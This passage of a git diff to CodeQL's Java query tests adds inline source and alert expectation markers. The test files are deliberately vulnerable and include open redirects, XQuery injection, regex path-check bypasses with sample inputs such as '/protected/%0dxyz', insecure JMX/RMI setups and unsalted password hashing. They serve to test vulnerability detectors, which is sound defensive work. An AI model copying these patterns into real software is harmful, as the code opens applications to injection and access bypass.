// $ Alert // Integer.parse(String) throws RuntimeException } // GOOD - Tests `doPost` with catching exceptions. @@ -51,8 +51,8 @@ class UncaughtServletException extends HttpServlet { // BAD - Tests rethrowing caught exceptions with stack trace. public void doOptions(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { try { - String ip = request.getParameter("srcIP"); - InetAddress addr = InetAddress.getByName(ip); + String ip = request.getParameter("srcIP"); // $ Source + InetAddress addr = InetAddress.getByName(ip); // $ Alert } catch (UnknownHostException uhex) { uhex.printStackTrace(); throw uhex; @@ -72,8 +72,8 @@ class UncaughtServletException extends HttpServlet { try { addr = InetAddress.getByName(ip); - String userId = request.getRemoteUser(); - Integer.parseInt(userId); // Integer.parse(String) throws RuntimeException + String userId = request.getRemoteUser(); // $ Source + Integer.parseInt(userId); // $ Alert // Integer.parse(String) throws RuntimeException } catch (UnknownHostException uhex) { throw new UnknownHostException("Got exception "+uhex.getMessage()); } diff --git a/java/ql/test/experimental/query-tests/security/CWE-600/UncaughtServletException.qlref b/java/ql/test/experimental/query-tests/security/CWE-600/UncaughtServletException.qlref index 14466d983a7..11977e14ba2 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-600/UncaughtServletException.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-600/UncaughtServletException.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-600/UncaughtServletException.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-601/SpringUrlRedirect.java b/java/ql/test/experimental/query-tests/security/CWE-601/SpringUrlRedirect.java index e5909b3478e..a73f9c14249 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-601/SpringUrlRedirect.java +++ b/java/ql/test/experimental/query-tests/security/CWE-601/SpringUrlRedirect.java @@ -14,53 +14,53 @@ public class SpringUrlRedirect { private final static String VALID_REDIRECT = "http://127.0.0.1"; @GetMapping("url1") - public RedirectView bad1(String redirectUrl, HttpServletResponse response) throws Exception { + public RedirectView bad1(String redirectUrl, HttpServletResponse response) throws Exception { // $ Source RedirectView rv = new RedirectView(); - rv.setUrl(redirectUrl); + rv.setUrl(redirectUrl); // $ Alert return rv; } @GetMapping("url2") - public String bad2(String redirectUrl) { - String url = "redirect:" + redirectUrl; + public String bad2(String redirectUrl) { // $ Source + String url = "redirect:" + redirectUrl; // $ Alert return url; } @GetMapping("url3") - public RedirectView bad3(String redirectUrl) { - RedirectView rv = new RedirectView(redirectUrl); + public RedirectView bad3(String redirectUrl) { // $ Source + RedirectView rv = new RedirectView(redirectUrl); // $ Alert return rv; } @GetMapping("url4") - public ModelAndView bad4(String redirectUrl) { - return new ModelAndView("redirect:" + redirectUrl); + public ModelAndView bad4(String redirectUrl) { // $ Source + return new ModelAndView("redirect:" + redirectUrl); // $ Alert } @GetMapping("url5") - public String bad5(String redirectUrl) { + public String bad5(String redirectUrl) { // $ Source StringBuffer stringBuffer = new StringBuffer(); stringBuffer.append("redirect:"); - stringBuffer.append(redirectUrl); + stringBuffer.append(redirectUrl); // $ Alert return stringBuffer.toString(); } @GetMapping("url6") - public String bad6(String redirectUrl) { + public String bad6(String redirectUrl) { // $ Source StringBuilder stringBuilder = new StringBuilder(); stringBuilder.append("redirect:"); - stringBuilder.append(redirectUrl); + stringBuilder.append(redirectUrl); // $ Alert return stringBuilder.toString(); } @GetMapping("url7") - public String bad7(String redirectUrl) { - return "redirect:" + String.format("%s/?aaa", redirectUrl); + public String bad7(String redirectUrl) { // $ Source + return "redirect:" + String.format("%s/?aaa", redirectUrl); // $ Alert } @GetMapping("url8") - public String bad8(String redirectUrl, String token) { - return "redirect:" + String.format(redirectUrl + "?token=%s", token); + public String bad8(String redirectUrl, String token) { // $ Source + return "redirect:" + String.format(redirectUrl + "?token=%s", token); // $ Alert } @GetMapping("url9") @@ -86,49 +86,49 @@ public class SpringUrlRedirect { } @GetMapping("url12") - public ResponseEntity bad9(String redirectUrl) { + public ResponseEntity bad9(String redirectUrl) { // $ Source return ResponseEntity.status(HttpStatus.FOUND) - .location(URI.create(redirectUrl)) + .location(URI.create(redirectUrl)) // $ Alert .build(); } @GetMapping("url13") - public ResponseEntity bad10(String redirectUrl) { + public ResponseEntity bad10(String redirectUrl) { // $ Source HttpHeaders httpHeaders = new HttpHeaders(); httpHeaders.setLocation(URI.create(redirectUrl)); - return new ResponseEntity<>(httpHeaders, HttpStatus.SEE_OTHER); + return new ResponseEntity<>(httpHeaders, HttpStatus.SEE_OTHER); // $ Alert } @GetMapping("url14") - public ResponseEntity bad11(String redirectUrl) { + public ResponseEntity bad11(String redirectUrl) { // $ Source HttpHeaders httpHeaders = new HttpHeaders(); httpHeaders.add("Location", redirectUrl); - return ResponseEntity.status(HttpStatus.SEE_OTHER).headers(httpHeaders).build(); + return ResponseEntity.status(HttpStatus.SEE_OTHER).headers(httpHeaders).build(); // $ Alert } @GetMapping("url15") - public ResponseEntity bad12(String redirectUrl) { + public ResponseEntity bad12(String redirectUrl) { // $ Source HttpHeaders httpHeaders = new HttpHeaders(); httpHeaders.add("Location", redirectUrl); - return new ResponseEntity<>(httpHeaders, HttpStatus.SEE_OTHER); + return new ResponseEntity<>(httpHeaders, HttpStatus.SEE_OTHER); // $ Alert } @GetMapping("url16") - public ResponseEntity bad13(String redirectUrl) { + public ResponseEntity bad13(String redirectUrl) { // $ Source HttpHeaders httpHeaders = new HttpHeaders(); httpHeaders.add("Location", redirectUrl); - return new ResponseEntity<>("TestBody", httpHeaders, HttpStatus.SEE_OTHER); + return new ResponseEntity<>("TestBody", httpHeaders, HttpStatus.SEE_OTHER); // $ Alert } @GetMapping("url17") - public ResponseEntity bad14(String redirectUrl) { + public ResponseEntity bad14(String redirectUrl) { // $ Source HttpHeaders httpHeaders = new HttpHeaders(); httpHeaders.setLocation(URI.create(redirectUrl)); - return new ResponseEntity<>("TestBody", httpHeaders, HttpStatus.SEE_OTHER); + return new ResponseEntity<>("TestBody", httpHeaders, HttpStatus.SEE_OTHER); // $ Alert } } diff --git a/java/ql/test/experimental/query-tests/security/CWE-601/SpringUrlRedirect.qlref b/java/ql/test/experimental/query-tests/security/CWE-601/SpringUrlRedirect.qlref index 3c1c8a42a95..62384d5e430 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-601/SpringUrlRedirect.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-601/SpringUrlRedirect.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-601/SpringUrlRedirect.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-625/DotRegexFilter.java b/java/ql/test/experimental/query-tests/security/CWE-625/DotRegexFilter.java index 6ce97453d8f..28583c0ecb3 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-625/DotRegexFilter.java +++ b/java/ql/test/experimental/query-tests/security/CWE-625/DotRegexFilter.java @@ -26,10 +26,10 @@ public class DotRegexFilter implements Filter { public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest httpRequest = (HttpServletRequest) request; HttpServletResponse httpResponse = (HttpServletResponse) response; - String source = httpRequest.getPathInfo(); + String source = httpRequest.getPathInfo(); // $ Source Pattern p = Pattern.compile(PROTECTED_PATTERN); - Matcher m = p.matcher(source); + Matcher m = p.matcher(source); // $ Alert if (m.matches()) { // Protected page - check access token and redirect to login page @@ -67,4 +67,4 @@ public class DotRegexFilter implements Filter { public void destroy() { // Close resources } -} \ No newline at end of file +} diff --git a/java/ql/test/experimental/query-tests/security/CWE-625/DotRegexServlet.java b/java/ql/test/experimental/query-tests/security/CWE-625/DotRegexServlet.java index 47d3175afcf..c2d50a50d71 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-625/DotRegexServlet.java +++ b/java/ql/test/experimental/query-tests/security/CWE-625/DotRegexServlet.java @@ -16,10 +16,10 @@ public class DotRegexServlet extends HttpServlet { // BAD: A string with line return e.g. `/protected/%0dxyz` can bypass the path check protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { - String source = request.getPathInfo(); + String source = request.getPathInfo(); // $ Source Pattern p = Pattern.compile(PROTECTED_PATTERN); - Matcher m = p.matcher(source); + Matcher m = p.matcher(source); // $ Alert if (m.matches()) { // Protected page - check access token and redirect to login page @@ -54,9 +54,9 @@ public class DotRegexServlet extends HttpServlet { // BAD: A string with line return e.g. `/protected/%0axyz` can bypass the path check protected void doGet3(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { - String source = request.getRequestURI(); + String source = request.getRequestURI(); // $ Source - boolean matches = source.matches(PROTECTED_PATTERN); + boolean matches = source.matches(PROTECTED_PATTERN); // $ Alert if (matches) { // Protected page - check access token and redirect to login page @@ -72,9 +72,9 @@ public class DotRegexServlet extends HttpServlet { // BAD: A string with line return e.g. `/protected/%0axyz` can bypass the path check protected void doGet4(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { - String source = request.getPathInfo(); + String source = request.getPathInfo(); // $ Source - boolean matches = Pattern.matches(PROTECTED_PATTERN, source); + boolean matches = Pattern.matches(PROTECTED_PATTERN, source); // $ Alert if (matches) { // Protected page - check access token and redirect to login page @@ -109,10 +109,10 @@ public class DotRegexServlet extends HttpServlet { // BAD: A string with line return e.g. `/protected/%0dxyz` can bypass the path check protected void doGet6(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { - String source = request.getPathInfo(); + String source = request.getPathInfo(); // $ Source Pattern p = Pattern.compile(PROTECTED_PATTERN); - Matcher m = p.matcher(source); + Matcher m = p.matcher(source); // $ Alert if (m.matches()) { // Protected page - check access token and redirect to login page diff --git a/java/ql/test/experimental/query-tests/security/CWE-625/DotRegexSpring.java b/java/ql/test/experimental/query-tests/security/CWE-625/DotRegexSpring.java index 4651508fe19..196a305b086 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-625/DotRegexSpring.java +++ b/java/ql/test/experimental/query-tests/security/CWE-625/DotRegexSpring.java @@ -17,10 +17,10 @@ public class DotRegexSpring { @GetMapping("param") // BAD: A string with line return e.g. `/protected/%0dxyz` can bypass the path check - public String withParam(@RequestParam String path, Model model) throws UnsupportedEncodingException { + public String withParam(@RequestParam String path, Model model) throws UnsupportedEncodingException { // $ Source Pattern p = Pattern.compile(PROTECTED_PATTERN); path = decodePath(path); - Matcher m = p.matcher(path); + Matcher m = p.matcher(path); // $ Alert if (m.matches()) { // Protected page - check access token and redirect to login page @@ -34,10 +34,10 @@ public class DotRegexSpring { @GetMapping("{path}") // BAD: A string with line return e.g. `%252Fprotected%252F%250dxyz` can bypass the path check - public RedirectView withPathVariable1(@PathVariable String path, Model model) throws UnsupportedEncodingException { + public RedirectView withPathVariable1(@PathVariable String path, Model model) throws UnsupportedEncodingException { // $ Source Pattern p = Pattern.compile(PROTECTED_PATTERN); path = decodePath(path); - Matcher m = p.matcher(path); + Matcher m = p.matcher(path); // $ Alert if (m.matches()) { // Protected page - check access token and redirect to login page diff --git a/java/ql/test/experimental/query-tests/security/CWE-625/PermissiveDotRegex.qlref b/java/ql/test/experimental/query-tests/security/CWE-625/PermissiveDotRegex.qlref index 67382a5e297..b4a93ae73f2 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-625/PermissiveDotRegex.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-625/PermissiveDotRegex.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-625/PermissiveDotRegex.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-652/XQueryInjection.java b/java/ql/test/experimental/query-tests/security/CWE-652/XQueryInjection.java index d8df8057cc6..5dccb7dbe22 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-652/XQueryInjection.java +++ b/java/ql/test/experimental/query-tests/security/CWE-652/XQueryInjection.java @@ -42,13 +42,13 @@ public class XQueryInjection { @RequestMapping public void testRequestbad(HttpServletRequest request) throws Exception { - String name = request.getParameter("name"); + String name = request.getParameter("name"); // $ Source XQDataSource ds = new SaxonXQDataSource(); XQConnection conn = ds.getConnection(); String query = "for $user in doc(\"users.xml\")/Users/User[name='" + name + "'] return $user/password"; XQPreparedExpression xqpe = conn.prepareExpression(query); - XQResultSequence result = xqpe.executeQuery(); + XQResultSequence result = xqpe.executeQuery(); // $ Alert while (result.next()) { System.out.println(result.getItemAsString(null)); } @@ -56,13 +56,13 @@ public class XQueryInjection { @RequestMapping public void testRequestbad1(HttpServletRequest request) throws Exception { - String name = request.getParameter("name"); + String name = request.getParameter("name"); // $ Source XQDataSource xqds = new SaxonXQDataSource(); String query = "for $user in doc(\"users.xml\")/Users/User[name='" + name + "'] return $user/password"; XQConnection conn = xqds.getConnection(); XQExpression expr = conn.createExpression(); - XQResultSequence result = expr.executeQuery(query); + XQResultSequence result = expr.executeQuery(query); // $ Alert while (result.next()) { System.out.println(result.getItemAsString(null)); } @@ -70,26 +70,26 @@ public class XQueryInjection { @RequestMapping - public void testStringtbad(@RequestParam String nameStr) throws XQException { + public void testStringtbad(@RequestParam String nameStr) throws XQException { // $ Source XQDataSource ds = new SaxonXQDataSource(); XQConnection conn = ds.getConnection(); String query = "for $user in doc(\"users.xml\")/Users/User[name='" + nameStr + "'] return $user/password"; XQPreparedExpression xqpe = conn.prepareExpression(query); - XQResultSequence result = xqpe.executeQuery(); + XQResultSequence result = xqpe.executeQuery(); // $ Alert while (result.next()) { System.out.println(result.getItemAsString(null)); } } @RequestMapping - public void testStringtbad1(@RequestParam String nameStr) throws XQException { + public void testStringtbad1(@RequestParam String nameStr) throws XQException { // $ Source XQDataSource xqds = new SaxonXQDataSource(); String query = "for $user in doc(\"users.xml\")/Users/User[name='" + nameStr + "'] return $user/password"; XQConnection conn = xqds.getConnection(); XQExpression expr = conn.createExpression(); - XQResultSequence result = expr.executeQuery(query); + XQResultSequence result = expr.executeQuery(query); // $ Alert while (result.next()) { System.out.println(result.getItemAsString(null)); } @@ -97,11 +97,11 @@ public class XQueryInjection { @RequestMapping public void testInputStreambad(HttpServletRequest request) throws Exception { - InputStream name = request.getInputStream(); + InputStream name = request.getInputStream(); // $ Source XQDataSource ds = new SaxonXQDataSource(); XQConnection conn = ds.getConnection(); XQPreparedExpression xqpe = conn.prepareExpression(name); - XQResultSequence result = xqpe.executeQuery(); + XQResultSequence result = xqpe.executeQuery(); // $ Alert while (result.next()) { System.out.println(result.getItemAsString(null)); } @@ -109,11 +109,11 @@ public class XQueryInjection { @RequestMapping public void testInputStreambad1(HttpServletRequest request) throws Exception { - InputStream name = request.getInputStream(); + InputStream name = request.getInputStream(); // $ Source XQDataSource xqds = new SaxonXQDataSource(); XQConnection conn = xqds.getConnection(); XQExpression expr = conn.createExpression(); - XQResultSequence result = expr.executeQuery(name); + XQResultSequence result = expr.executeQuery(name); // $ Alert while (result.next()) { System.out.println(result.getItemAsString(null)); } @@ -121,12 +121,12 @@ public class XQueryInjection { @RequestMapping public void testReaderbad(HttpServletRequest request) throws Exception { - InputStream name = request.getInputStream(); + InputStream name = request.getInputStream(); // $ Source BufferedReader br = new BufferedReader(new InputStreamReader(name)); XQDataSource ds = new SaxonXQDataSource(); XQConnection conn = ds.getConnection(); XQPreparedExpression xqpe = conn.prepareExpression(br); - XQResultSequence result = xqpe.executeQuery(); + XQResultSequence result = xqpe.executeQuery(); // $ Alert while (result.next()) { System.out.println(result.getItemAsString(null)); } @@ -134,12 +134,12 @@ public class XQueryInjection { @RequestMapping public void testReaderbad1(HttpServletRequest request) throws Exception { - InputStream name = request.getInputStream(); + InputStream name = request.getInputStream(); // $ Source BufferedReader br = new BufferedReader(new InputStreamReader(name)); XQDataSource xqds = new SaxonXQDataSource(); XQConnection conn = xqds.getConnection(); XQExpression expr = conn.createExpression(); - XQResultSequence result = expr.executeQuery(br); + XQResultSequence result = expr.executeQuery(br); // $ Alert while (result.next()) { System.out.println(result.getItemAsString(null)); } @@ -147,16 +147,16 @@ public class XQueryInjection { @RequestMapping public void testExecuteCommandbad(HttpServletRequest request) throws Exception { - String name = request.getParameter("name"); + String name = request.getParameter("name"); // $ Source XQDataSource xqds = new SaxonXQDataSource(); XQConnection conn = xqds.getConnection(); XQExpression expr = conn.createExpression(); //bad code - expr.executeCommand(name); + expr.executeCommand(name); // $ Alert //bad code - InputStream is = request.getInputStream(); + InputStream is = request.getInputStream(); // $ Source BufferedReader br = new BufferedReader(new InputStreamReader(is)); - expr.executeCommand(br); + expr.executeCommand(br); // $ Alert expr.close(); } diff --git a/java/ql/test/experimental/query-tests/security/CWE-652/XQueryInjection.qlref b/java/ql/test/experimental/query-tests/security/CWE-652/XQueryInjection.qlref index df94ae95807..a998a694ade 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-652/XQueryInjection.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-652/XQueryInjection.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-652/XQueryInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-665/InsecureRmiJmxEnvironmentConfiguration.java b/java/ql/test/experimental/query-tests/security/CWE-665/InsecureRmiJmxEnvironmentConfiguration.java index f1294847fcc..b631e7c6cca 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-665/InsecureRmiJmxEnvironmentConfiguration.java +++ b/java/ql/test/experimental/query-tests/security/CWE-665/InsecureRmiJmxEnvironmentConfiguration.java @@ -9,12 +9,12 @@ public class InsecureRmiJmxEnvironmentConfiguration { public void initInsecureJmxDueToNullEnv() throws IOException { // Bad initializing env (arg1) with null - JMXConnectorServerFactory.newJMXConnectorServer(null, null, null); + JMXConnectorServerFactory.newJMXConnectorServer(null, null, null); // $ Alert } public void initInsecureRmiDueToNullEnv() throws IOException { // Bad initializing env (arg1) with null - new RMIConnectorServer(null, null, null, null); + new RMIConnectorServer(null, null, null, null); // $ Alert } public void initInsecureRmiDueToMissingEnvKeyValue() throws IOException { @@ -22,7 +22,7 @@ public class InsecureRmiJmxEnvironmentConfiguration { // "jmx.remote.rmi.server.credential.types" Map env = new HashMap<>(); env.put("jmx.remote.x.daemon", "true"); - new RMIConnectorServer(null, env, null, null); + new RMIConnectorServer(null, env, null, null); // $ Alert } public void initInsecureJmxDueToMissingEnvKeyValue() throws IOException { @@ -30,7 +30,7 @@ public class InsecureRmiJmxEnvironmentConfiguration { // "jmx.remote.rmi.server.credential.types" Map env = new HashMap<>(); env.put("jmx.remote.x.daemon", "true"); - JMXConnectorServerFactory.newJMXConnectorServer(null, env, null); + JMXConnectorServerFactory.newJMXConnectorServer(null, env, null); // $ Alert } public void secureJmxConnnectorServer() throws IOException { diff --git a/java/ql/test/experimental/query-tests/security/CWE-665/InsecureRmiJmxEnvironmentConfiguration.qlref b/java/ql/test/experimental/query-tests/security/CWE-665/InsecureRmiJmxEnvironmentConfiguration.qlref index de4b6744533..3b1127b4695 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-665/InsecureRmiJmxEnvironmentConfiguration.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-665/InsecureRmiJmxEnvironmentConfiguration.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-665/InsecureRmiJmxEnvironmentConfiguration.ql \ No newline at end of file +query: experimental/Security/CWE/CWE-665/InsecureRmiJmxEnvironmentConfiguration.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-755/NFEAndroidDoS.java b/java/ql/test/experimental/query-tests/security/CWE-755/NFEAndroidDoS.java index bf527f04fe1..9ceefd5a388 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-755/NFEAndroidDoS.java +++ b/java/ql/test/experimental/query-tests/security/CWE-755/NFEAndroidDoS.java @@ -10,8 +10,8 @@ public class NFEAndroidDoS extends Activity { super.onCreate(savedInstanceState); setContentView(-1); - String minPriceStr = getIntent().getStringExtra("priceMin"); - double minPrice = Double.parseDouble(minPriceStr); + String minPriceStr = getIntent().getStringExtra("priceMin"); // $ Source + double minPrice = Double.parseDouble(minPriceStr); // $ Alert } // BAD - parse string extra to integer @@ -19,11 +19,11 @@ public class NFEAndroidDoS extends Activity { super.onCreate(savedInstanceState); setContentView(-1); - String widthStr = getIntent().getStringExtra("width"); - int width = Integer.parseInt(widthStr); + String widthStr = getIntent().getStringExtra("width"); // $ Source + int width = Integer.parseInt(widthStr); // $ Alert - String heightStr = getIntent().getStringExtra("height"); - int height = Integer.parseInt(heightStr); + String heightStr = getIntent().getStringExtra("height"); // $ Source + int height = Integer.parseInt(heightStr); // $ Alert } // GOOD - parse int extra to integer @@ -40,11 +40,11 @@ public class NFEAndroidDoS extends Activity { super.onCreate(savedInstanceState); setContentView(-1); - String minPriceStr = getIntent().getStringExtra("priceMin"); - double minPrice = new Double(minPriceStr); + String minPriceStr = getIntent().getStringExtra("priceMin"); // $ Source + double minPrice = new Double(minPriceStr); // $ Alert String maxPriceStr = getIntent().getStringExtra("priceMax"); - double maxPrice = Double.valueOf(minPriceStr); + double maxPrice = Double.valueOf(minPriceStr); // $ Alert } // GOOD - parse string extra to double with caught NFE @@ -83,4 +83,4 @@ public class NFEAndroidDoS extends Activity { double priceMin = IntentUtils.getDoubleExtra(this, "priceMin"); } -} \ No newline at end of file +} diff --git a/java/ql/test/experimental/query-tests/security/CWE-755/NFEAndroidDoS.qlref b/java/ql/test/experimental/query-tests/security/CWE-755/NFEAndroidDoS.qlref index 17bd71ea68a..9e538d9fd8a 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-755/NFEAndroidDoS.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-755/NFEAndroidDoS.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-755/NFEAndroidDoS.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-759/HashWithoutSalt.java b/java/ql/test/experimental/query-tests/security/CWE-759/HashWithoutSalt.java index 48911486db1..ba482a503e7 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-759/HashWithoutSalt.java +++ b/java/ql/test/experimental/query-tests/security/CWE-759/HashWithoutSalt.java @@ -7,7 +7,7 @@ public class HashWithoutSalt { // BAD - Hash without a salt. public String getSHA256Hash(String password) throws NoSuchAlgorithmException { MessageDigest md = MessageDigest.getInstance("SHA-256"); - byte[] messageDigest = md.digest(password.getBytes()); + byte[] messageDigest = md.digest(password.getBytes()); // $ Alert return Base64.getEncoder().encodeToString(messageDigest); } @@ -22,7 +22,7 @@ public class HashWithoutSalt { // BAD - Hash without a salt. public String getSHA256Hash2(String password) throws NoSuchAlgorithmException { MessageDigest md = MessageDigest.getInstance("SHA-256"); - md.update(password.getBytes()); + md.update(password.getBytes()); // $ Alert byte[] messageDigest = md.digest(); return Base64.getEncoder().encodeToString(messageDigest); } @@ -90,8 +90,8 @@ public class HashWithoutSalt { // BAD - Invoking a wrapper implementation through qualifier without a salt. public String getWrapperSHA256Hash2(String password) throws NoSuchAlgorithmException, ClassNotFoundException, IllegalAccessException, InstantiationException { SHA256 sha256 = new SHA256(); - byte[] passBytes = password.getBytes(); - sha256.update(passBytes, 0, passBytes.length); + byte[] passBytes = password.getBytes(); // $ Source + sha256.update(passBytes, 0, passBytes.length); // $ Alert return Base64.getEncoder().encodeToString(sha256.digest()); } @@ -108,8 +108,8 @@ public class HashWithoutSalt { // BAD - Invoking a wrapper implementation through argument without a salt. public String getWrapperSHA256Hash4(String password) throws NoSuchAlgorithmException { SHA256 sha256 = new SHA256(); - byte[] passBytes = password.getBytes(); - update(sha256, passBytes, 0, passBytes.length); + byte[] passBytes = password.getBytes(); // $ Source + update(sha256, passBytes, 0, passBytes.length); // $ Alert return Base64.getEncoder().encodeToString(sha256.digest()); } diff --git a/java/ql/test/experimental/query-tests/security/CWE-759/HashWithoutSalt.qlref b/java/ql/test/experimental/query-tests/security/CWE-759/HashWithoutSalt.qlref index b2f767ca66a..186b2833671 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-759/HashWithoutSalt.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-759/HashWithoutSalt.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-759/HashWithoutSalt.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/library-tests/frameworks/JaxWs/UrlRedirect.qlref b/java/ql/test/library-tests/frameworks/JaxWs/UrlRedirect.qlref index 933c3569eed..f41f720f725 100644 --- a/java/ql/test/library-tests/frameworks/JaxWs/UrlRedirect.qlref +++ b/java/ql/test/library-tests/frameworks/JaxWs/UrlRedirect.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-601/UrlRedirect.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/library-tests/frameworks/JaxWs/UrlRedirectJakarta.java b/java/ql/test/library-tests/frameworks/JaxWs/UrlRedirectJakarta.java index 897ee7890bd..263472d3fc5 100644 --- a/java/ql/test/library-tests/frameworks/JaxWs/UrlRedirectJakarta.java +++ b/java/ql/test/library-tests/frameworks/JaxWs/UrlRedirectJakarta.java @@ -7,9 +7,9 @@ import jakarta.ws.rs.core.Response; public class UrlRedirectJakarta extends HttpServlet { protected void doGetJax(HttpServletRequest request, Response jaxResponse) throws Exception { // BAD - jaxResponse.seeOther(new URI(request.getParameter("target"))); + jaxResponse.seeOther(new URI(request.getParameter("target"))); // $ Alert[java/unvalidated-url-redirection] // BAD - jaxResponse.temporaryRedirect(new URI(request.getParameter("target"))); + jaxResponse.temporaryRedirect(new URI(request.getParameter("target"))); // $ Alert[java/unvalidated-url-redirection] } } diff --git a/java/ql/test/library-tests/frameworks/JaxWs/UrlRedirectJax.java b/java/ql/test/library-tests/frameworks/JaxWs/UrlRedirectJax.java index 4ba3d1f1331..a757351a93c 100644 --- a/java/ql/test/library-tests/frameworks/JaxWs/UrlRedirectJax.java +++ b/java/ql/test/library-tests/frameworks/JaxWs/UrlRedirectJax.java @@ -7,9 +7,9 @@ import javax.ws.rs.core.Response; public class UrlRedirectJax extends HttpServlet { protected void doGetJax(HttpServletRequest request, Response jaxResponse) throws Exception { // BAD - jaxResponse.seeOther(new URI(request.getParameter("target"))); + jaxResponse.seeOther(new URI(request.getParameter("target"))); // $ Alert[java/unvalidated-url-redirection] // BAD - jaxResponse.temporaryRedirect(new URI(request.getParameter("target"))); + jaxResponse.temporaryRedirect(new URI(request.getParameter("target"))); // $ Alert[java/unvalidated-url-redirection] } } diff --git a/java/ql/test/query-tests/AmbiguousOuterSuper/AmbiguousOuterSuper.qlref b/java/ql/test/query-tests/AmbiguousOuterSuper/AmbiguousOuterSuper.qlref index 70c62b8c851..add5a9dc533 100644 --- a/java/ql/test/query-tests/AmbiguousOuterSuper/AmbiguousOuterSuper.qlref +++ b/java/ql/test/query-tests/AmbiguousOuterSuper/AmbiguousOuterSuper.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Naming Conventions/AmbiguousOuterSuper.ql \ No newline at end of file +query: Violations of Best Practice/Naming Conventions/AmbiguousOuterSuper.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/AmbiguousOuterSuper/GenericTest.java b/java/ql/test/query-tests/AmbiguousOuterSuper/GenericTest.java index f0d14dc4867..b35ac02925c 100644 --- a/java/ql/test/query-tests/AmbiguousOuterSuper/GenericTest.java +++ b/java/ql/test/query-tests/AmbiguousOuterSuper/GenericTest.java @@ -11,7 +11,7 @@ class Outer2 { class Inner extends GenericTest { public void test() { - f(); + f(); // $ Alert } } diff --git a/java/ql/test/query-tests/AmbiguousOuterSuper/Test.java b/java/ql/test/query-tests/AmbiguousOuterSuper/Test.java index e2a506f1438..875b4f7bbe9 100644 --- a/java/ql/test/query-tests/AmbiguousOuterSuper/Test.java +++ b/java/ql/test/query-tests/AmbiguousOuterSuper/Test.java @@ -11,7 +11,7 @@ class Outer { class Inner extends Test { public void test() { - f(); + f(); // $ Alert } } diff --git a/java/ql/test/query-tests/AutoBoxing/AutoBoxing.qlref b/java/ql/test/query-tests/AutoBoxing/AutoBoxing.qlref index f116f3bd8b4..dc47875616d 100644 --- a/java/ql/test/query-tests/AutoBoxing/AutoBoxing.qlref +++ b/java/ql/test/query-tests/AutoBoxing/AutoBoxing.qlref @@ -1 +1,2 @@ -Violations of Best Practice/legacy/AutoBoxing.ql +query: Violations of Best Practice/legacy/AutoBoxing.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/AutoBoxing/Test.java b/java/ql/test/query-tests/AutoBoxing/Test.java index 49c12f0c521..300a82a9a57 100644 --- a/java/ql/test/query-tests/AutoBoxing/Test.java +++ b/java/ql/test/query-tests/AutoBoxing/Test.java @@ -1,19 +1,19 @@ class Test { void unbox(Integer i, Boolean b) { // NOT OK - int j = i + 19; + int j = i + 19; // $ Alert // OK if (i == null); // NOT OK - if (i == 42); + if (i == 42); // $ Alert // NOT OK - j += i; + j += i; // $ Alert // NOT OK - int k = i; + int k = i; // $ Alert // NOT OK - bar(b); + bar(b); // $ 